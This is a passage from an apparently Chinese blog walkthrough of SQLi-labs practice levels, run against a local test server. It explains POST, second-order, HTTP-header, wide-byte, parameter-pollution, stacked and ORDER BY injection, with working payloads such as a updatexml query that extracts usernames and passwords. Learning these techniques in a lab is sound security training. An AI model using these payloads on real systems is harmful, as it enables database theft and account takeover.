根据情况可以判断出这里的请求方式是POST请求,所以要在输入框中写注入代码,闭合方式为单引号,为联合查询注入。
2、注入过程:(其他的流程都一样)
用户名或者密码任选一个那里写注释就可以。
或者:
Lesson 12—Lesson 16与前面的关卡都大同小异,只不过就是把Get请求方式换成了POST,略过。
Lesson 17(利用增删改函数)
1、根据页面提示可以知道这是一个密码重置的功能界面,而且已经告知了为用户名Dhakkan来进行重置,所以判断密码栏的闭合类型。
(注意:这里是因为给了用户名,那实战的时候可能并不知道用户名,那么可以进行一个注册,然后用已经注册过的用户名来进行注入,这个过程也叫作二次注入,即:先把信息写进数据库,然后利用已经写进的信息进行注入。)
2、根据提示判定闭合方式为单引号,因此写进注入语句。
3、不对usename构造的原因:在源码中会发现有个写了个用于检测输入的check_input()函数,会对username进行各种转义处理。
Lesson 18—Lesson 22(HTTP头部注入)
1、观察界面发现是个登录功能,输入任何信息都没有什么反应,查看源代码。
2、查看源代码发现,代码中写了个check_input函数,用来对输入的字符串进行转义处理,而且对于uname和Password都调用了这个函数,所以无法利用uname和Password处来实现注入。
3、发现代码中有一处插入语句,把useragent和ip插入到了数据库中,那么可以利用这个注入点。
4、IP地址修改不方便,但是useragent可以随便修改,所以抓包改包注入,但是注意:首先需要输入正确的账号和密码才能绕过账号密码的判断,进而进入到处理useragent的部分。
输入admin 密码为0,得到如下结果:
5、进行抓包改包并注入
然后就可以像以往一样构造注入语句来实现了。
(注意这个注入语句,因为知道肯定正常情况是 ' 值 ' 的形式,所以最左边加个 ' 来把第一个单引号给闭合掉,但不能光是闭合,还要写语句,所以中间加and,而最后一个 ' 也得闭合,也不能光是闭合就可以,所以用个半闭合的逻辑判断语句来达到目的。
Lesson 19同理,修改的是Referer字段
Lesson 20 修改的是Cookie字段
Lesson 21修改的也是Cookie字段,只不过是闭合方式换成了(' '),而且多了个加密,所以在写注入语句的时候要进行加密。
Lesson 22与Lesson 21一样,只不过是闭合方式换成了双引号。
Lesson 23(过滤注释符)
1、判断注入类型
按照之前的正常逻辑,判断出闭合方式为单引号闭合之后,写入注入语句,但是发现有错误提示
2、根据提示判断,应该是源代码对注释符做了过滤。因此,换种方式,利用之前用过的‘1’=’1半闭合语句来替代注释符,使其完成闭合。
Lesson 24(二次注入)
1、本题为二次注入,查看用户名,可以故意设计一个有特殊字符的相同用户名,使其后续进行注入。
假如选superman这个用户作为倒霉蛋
注册一个名为superman'#的用户
2、然后登录进去,登录进去发现可以修改密码,那就可以利用特点,让对superman'#这个用户修改的新密码,让sql语句执行时误认为是superman这个用户的修改密码。
3、修改后会发现,真正被修改了密码的是superman这个倒霉蛋。
Lesson 25(过滤or和and)
根据这关的提示信息,可以判断出,源代码应该是对or和and做了过滤,所以这关需要绕过or和and的过滤。
Lesson 25a(同上)
与Lesson 25类似,只不过参数变成数字型,而且用联合查询注入。
Lesson 26—Lesson 28a(过滤空格、引号、Union、Select关键字等)
1、Lesson 26根据提示是对空格等进行了过滤。
2、根据空格绕过的方法,可以尝试用表格中的方法代替空格,结果发现一个都不好使.......
方法(用以下字符去代替空格) | 含义 |
---|---|
%09 | Tab 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | Tab键(垂直) |
%a0 | 空格 |
3、不好使的原因可能是windows环境下可能aphache服务器解析存在问题,因此实验改到Linux环境做,payload如下:
?id=0'union%a0select%a01,2,3||'1
Lesson26a—Lesson28a都是关于过滤的,同理,不再演示。
Lesson 29—Lesson 31(Http参数污染)
Lesson 29
1、刚进这一关,说是防火墙,结果发现用第一关的Payload都能做.....
2、查看源代码发现这关得在...login.php?id=1这个URL上操作。
3、输入参数,正常显示;加引号后,发现被弹到了hacked.php的页面,证明有防火墙。
4、因此我们利用HPP,在加个同名参数,在第二个参数上做手脚,发现成功报错!(后面操作略)
http://127.0.0.1/sqli/Less-29/login.php/?id=1&&id=1'
Lesson 30 同理,只不过闭合号变成了闭合双引号。
Lesson 31 同理,只不过闭合号变成了双引号加括号。
Lesson 32——Lesson 37(宽字节注入)
Lesson 32(单引号宽字节注入)
1、参数加单引号,发现单引号前被加了转义字符。
2、利用宽字节注入原理,在单引号前加一个大于127的ASCII字符,让其与转义字符组成汉字(宽字节),从而把转义字符吃掉。
http://127.0.0.1/sqli/Less-32/?id=-1%df' union select 1,2,3--+
Lesson 33(单引号宽字节注入)
与Lesson 32的payload一样。
Lesson 34(post宽字节注入)
1、这关发现是post型提交,用前两关的payload发现不好使,原因是get型是经过URL编码的,所以才会把按宽字节误解,但post型提交是不经过URL编码的,所以这关需要抓包处理。
2、输入用户名密码,抓取数据包。
3、任选一个参数(比如username),构造宽字节注入。
uname=-1%df' union select 1,2 --+
Lesson 35(数字型宽字节注入)
与Lesson 33一样,不过这是数字型,过滤函数没太大意义,不用宽字节都能过。
http://127.0.0.1/sqli/Less-35/?id=-1 union select 1,2,3--+
Lesson 36(单引号宽字节注入)
与Lesson32的payload一样。
Lesson 37(post型宽字节注入)
与Lesson 34的payload一样。
Lesson 38——Lesson 45(堆叠注入)
参考资料:https://www.cnblogs.com/CoLo/p/12505605.html
堆叠注入就是执行多条语句,在之前关卡的基础上注入成功后,用分号把语句隔开,加上自己想要实现的语句(比如插入、删除更新等),详细可以看参考资料,没什么特别的知识点。
Lesson 46——Lesson 53(Order by后的注入)
参考资料:https://www.cnblogs.com/CoLo/p/12512727.html
方法一:报错注入
?sort=1 and updatexml(1, concat(0x7e, (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e) ,1) --+
方法二:延时注入
方法三:into outfile
目录- SQL注入(包含部分SQLI过关纪录)
- 基础知识
- 关卡架构
- Lesson 1
- Lesson 2
- Lesson 3
- Lesson 4
- Lesson 5(盲注详细)
- Lesson 6、Lesson8、Lesson9、Lesson10(盲注简略)
- Lesson 7(文件的导入与导出,注入WebShell)
- Lesson 11—Lesson 16(POST请求)
- Lesson 17(利用增删改函数)
- Lesson 18—Lesson 22(HTTP头部注入)
- Lesson 23(过滤注释符)
- Lesson 24(二次注入)
- Lesson 25(过滤or和and)
- Lesson 25a(同上)
- Lesson 26—Lesson 28a(过滤空格、引号、Union、Select关键字等)
- Lesson 29—Lesson 31(Http参数污染)
- Lesson 32——Lesson 37(宽字节注入)
- Lesson 38——Lesson 45(堆叠注入)
- Lesson 46——Lesson 53(Order by后的注入)